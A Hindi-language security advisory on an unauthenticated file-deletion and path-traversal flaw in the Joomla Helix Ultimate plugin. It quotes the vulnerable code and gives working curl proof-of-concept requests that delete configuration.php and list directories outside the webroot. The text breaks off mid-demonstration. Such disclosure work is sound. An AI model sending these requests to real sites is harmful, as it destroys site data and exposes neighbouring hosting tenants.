
Joomla Helix Ultimate (JoomShaper) <= 2.2.6 में बिना प्रमाणीकरण के मनमानी फ़ाइल/फ़ोल्डर विलोपन — CVE-2026-57830
यह एक पुष्ट DoS + क्रॉस-टेनेंट फ़ाइलसिस्टम एक्सेस भेद्यता है, RCE नहीं। एक RCE-एस्केलेशन सिद्धांत (configuration.php को हटाकर Joomla इंस्टॉलर को फिर से उजागर करना) का लाइव परीक्षण किया गया और उसे खारिज कर दिया गया — नीचे "RCE एस्केलेशन — परीक्षण किया गया और खारिज" देखें। पहले एक वास्तविक चेन दोबारा निकाले बिना किसी भी रिपोर्ट में इसे RCE के रूप में प्रस्तुत न करें।
गंभीरता उन्नयन (2026-07-06, दूसरा पास): path पैरामीटर उतना सुरक्षित रूप से Joomla वेबरूट तक सीमित नहीं है जितना पहले आकलन किया गया था — Joomla का PATH इनपुट फ़िल्टर एक अकेले /../ ट्रैवर्सल घटक को ब्लॉक नहीं करता है, इसलिए यह बग (पढ़ें: पूर्ण डायरेक्टरी सूची; लिखें: फ़ाइल हटाना या फ़ोल्डर सामग्री को पुनरावर्ती रूप से मिटाना) फ़ाइलसिस्टम की उन सभी चीज़ों तक पहुँचता है जिन तक वेब सर्वर उपयोगकर्ता पहुँच सकता है, न कि केवल Joomla इंस्टॉल के अंदर की फ़ाइलों तक। किसी भी साझा-होस्टिंग लेआउट पर जहाँ कई साइटें/टेनेंट एक ही OS उपयोगकर्ता के अंतर्गत सहोदर डायरेक्टरियों के रूप में रहते हैं (अत्यंत सामान्य: cPanel "एडॉन डोमेन", Plesk सब्सक्रिप्शन जो एक सिस्टम उपयोगकर्ता साझा करते हैं, अधिकांश बजट होस्टिंग), एक अकेली Helix-Ultimate-संचालित साइट एक अनाम आगंतुक को उसी खाते पर हर दूसरी साइट को नष्ट करने देती है। लाइव प्रमाण के लिए नीचे "पाथ ट्रैवर्सल JPATH_ROOT से पूरी तरह बाहर निकलता है" देखें।
घटक: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), लगभग हर JoomShaper Joomla टेम्पलेट (Helix Ultimate आधारित) के साथ बंडल किया गया।
परीक्षण किया गया संस्करण: 2.2.6 (GitHub JoomShaper/helix-ultimate, 2026-07 तक HEAD, अंतिम पुश 2026-06-30)
लेखक: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php deleteMedia(), getFolders() और createFolder() को Joomla के com_ajax डिस्पैच हुक के माध्यम से helixultimate.php::onAfterRoute() में उजागर करता है। ये तीनों विधियाँ केवल Session::checkToken() को बुलाती हैं (एक साधारण CSRF जाँच, जो किसी भी अनाम आगंतुक के अपने सत्र टोकन से संतुष्ट हो जाती है — साइट के होमपेज HTML से प्राप्त की जा सकती है) — कोई authorise() / लॉगिन जाँच बिल्कुल नहीं। यह उसी क्लास की सहोदर विधि uploadMedia() के अनुरूप नहीं है, जो सही रूप से com_templates पर core.edit की आवश्यकता रखती है।
चूँकि यह एक सिस्टम प्लगइन है, onAfterRoute() हर अनुरोध पर चलता है, चाहे वर्तमान में कोई भी टेम्पलेट सक्रिय हो — जब तक प्लगइन इंस्टॉल और सक्षम है, भेद्य कोड पथ तक पहुँचा जा सकता है (जो कि डिफ़ॉल्ट रूप से, Helix-Ultimate-आधारित JoomShaper टेम्पलेट का उपयोग करने वाली किसी भी साइट पर ऐसा ही होता है)।
plugins/system/helixultimate/helixultimate.php (~पंक्ति 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path Joomla के PATH इनपुट फ़िल्टर (InputFilter::cleanPath()) से गुजरता है। दो स्वतंत्र चीज़ें इसे खतरनाक बनाती हैं:
path सीधे JPATH_ROOT के अंतर्गत हल किया जाता है, इसलिए रूट-से-निरपेक्ष कोई भी पथ (/configuration.php, /administrator/..., /media/...) पहले से ही पहुँच योग्य है।cleanPath() का रेगेक्स (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) अग्रणी [A-Za-z0-9_/-]+ खंड के तुरंत बाद स्थित डॉट/हाइफ़न/अल्फ़ान्यूमेरिक वर्णों की ठीक एक श्रृंखला की अनुमति देता है — और एक अकेला अग्रणी / उस अग्रणी खंड को अकेले संतुष्ट कर देता है, इसलिए /../sibling_dir जैसी स्ट्रिंग सफाई से मेल खाती है: / (खंड 1), .. (अनुमत डॉटी श्रृंखला), /sibling_dir (एक सामान्य अनुगामी खंड)। फ़िल्टर को ऐसे खंड को अस्वीकार करने के लिए लिखा गया था जो एक नए /… घटक को डॉट से शुरू करता है, लेकिन उसने कभी यह अनुमान नहीं लगाया कि स्ट्रिंग के बिल्कुल पहले वर्ण के ठीक बाद एक अकेला .. बैठा हो सकता है। ../../.. को श्रृंखलाबद्ध करना टिकता नहीं है (पहली डॉटी श्रृंखला के बाद हर अगला /… खंड गैर-डॉट वर्ण से शुरू होना चाहिए) — इसलिए पलायन ठीक JPATH_ROOT से एक डायरेक्टरी स्तर ऊपर तक सीमित है, लेकिन उस स्तर से नीचे की हर चीज़ (मनमानी गहराई) तब सामान्य रूप से पहुँच योग्य होती है, क्योंकि आगे के खंड केवल सामान्य गैर-डॉट पथ घटक होते हैं।configuration.php → तुरंत, संपूर्ण साइट आउटेज ("No configuration" घातक त्रुटि), एक HTTP अनुरोध, शून्य प्रमाणीकरण।type=folder) → जैसे /administrator, /components, /media → कहीं अधिक विनाशकारी, प्रभावी रूप से इंस्टॉल को नष्ट कर देता है।view-media (Media::getFolders()) के माध्यम से: किसी भी रूट-सापेक्ष पथ के अंतर्गत सभी छवि फ़ाइलों, सभी उपफ़ोल्डर नामों और निरपेक्ष सर्वर पथों की सूची देता है, कोई प्रमाणीकरण आवश्यक नहीं (नीचे सुरक्षित पहचान संकेत के रूप में उपयोग किया गया है)।एक डिस्पोज़ेबल Docker इंस्टेंस (Joomla 5.4.6 + Helix Ultimate प्लगइन 2.2.6, नया इंस्टॉल, पूरी तरह से अनाम ब्राउज़र सत्र — कोई लॉगिन नहीं, Joomla द्वारा हर आगंतुक को दी जाने वाली कुकी के अलावा कोई कुकी नहीं) के विरुद्ध परीक्षण किया गया:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Joomla वेबरूट की एक सहोदर डायरेक्टरी बनाई गई (/var/www/canary_sibling, /var/www/html की सहोदर), जो वेब सर्वर के समान उपयोगकर्ता (www-data) के स्वामित्व में थी, ताकि एक यथार्थवादी साझा-होस्टिंग लेआउट को प्रतिबिंबित किया जा सके; इसमें एक फ़ाइल, एक छवि और एक उपडायरेक्टरी रखी गई:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"